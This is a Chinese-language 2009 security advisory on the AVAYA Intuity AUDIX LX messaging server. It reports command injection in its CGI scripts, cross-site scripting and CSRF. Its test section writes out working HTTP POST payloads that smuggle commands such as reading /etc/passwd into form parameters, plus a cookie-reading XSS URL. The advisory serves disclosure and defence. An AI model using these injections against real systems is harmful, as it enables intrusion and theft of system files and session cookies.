发布日期：2009-09-18
更新日期：2009-09-21

受影响系统：

AVAYA IntuityTM AUDIX LX R1.1

描述：

---

BUGTRAQ  ID: 36450

Intuity Audix LX是一款功能强大的多媒体消息传输服务器。

Intuity Audix LX的/html/cswebadm/basic/cgibin/目录下的多个CGI perl脚本没有正确地验证用户所提交的参数请求，远程攻击者可以通过提交HTTP POST请求执行任意代码；此外由于没有过滤提交给/cgi-bin/smallmenu.pl的url参数，可能导致跨站脚本攻击；在登录到Web界面时没有使用令牌化保护管理更改，可能导致跨站请求伪造攻击。

<*来源：Adrian Pastor （m123303@richmond.ac.uk）
  
  链接：http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=127.0.0.1;cat+/etc/passwd&count_p=1&size_p=56

POST https://www.example.com/cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=;cat+/etc/passwd

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=&count_p=1;ls&size_p=56

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=&count_p=1&size_p=56&opt_n=;ls

POST /cswebadm/diag/cgi-bin/nslookup.pl HTTP/1.1
host_or_ip=127.0.0.1&r_type=;ls;

https://www.example.com/cgi-bin/smallmenu.pl?url=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

建议：

---

厂商补丁：

AVAYA
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://support.avaya.com/security/

浏览次数：2544
严重程度：0（网友投票）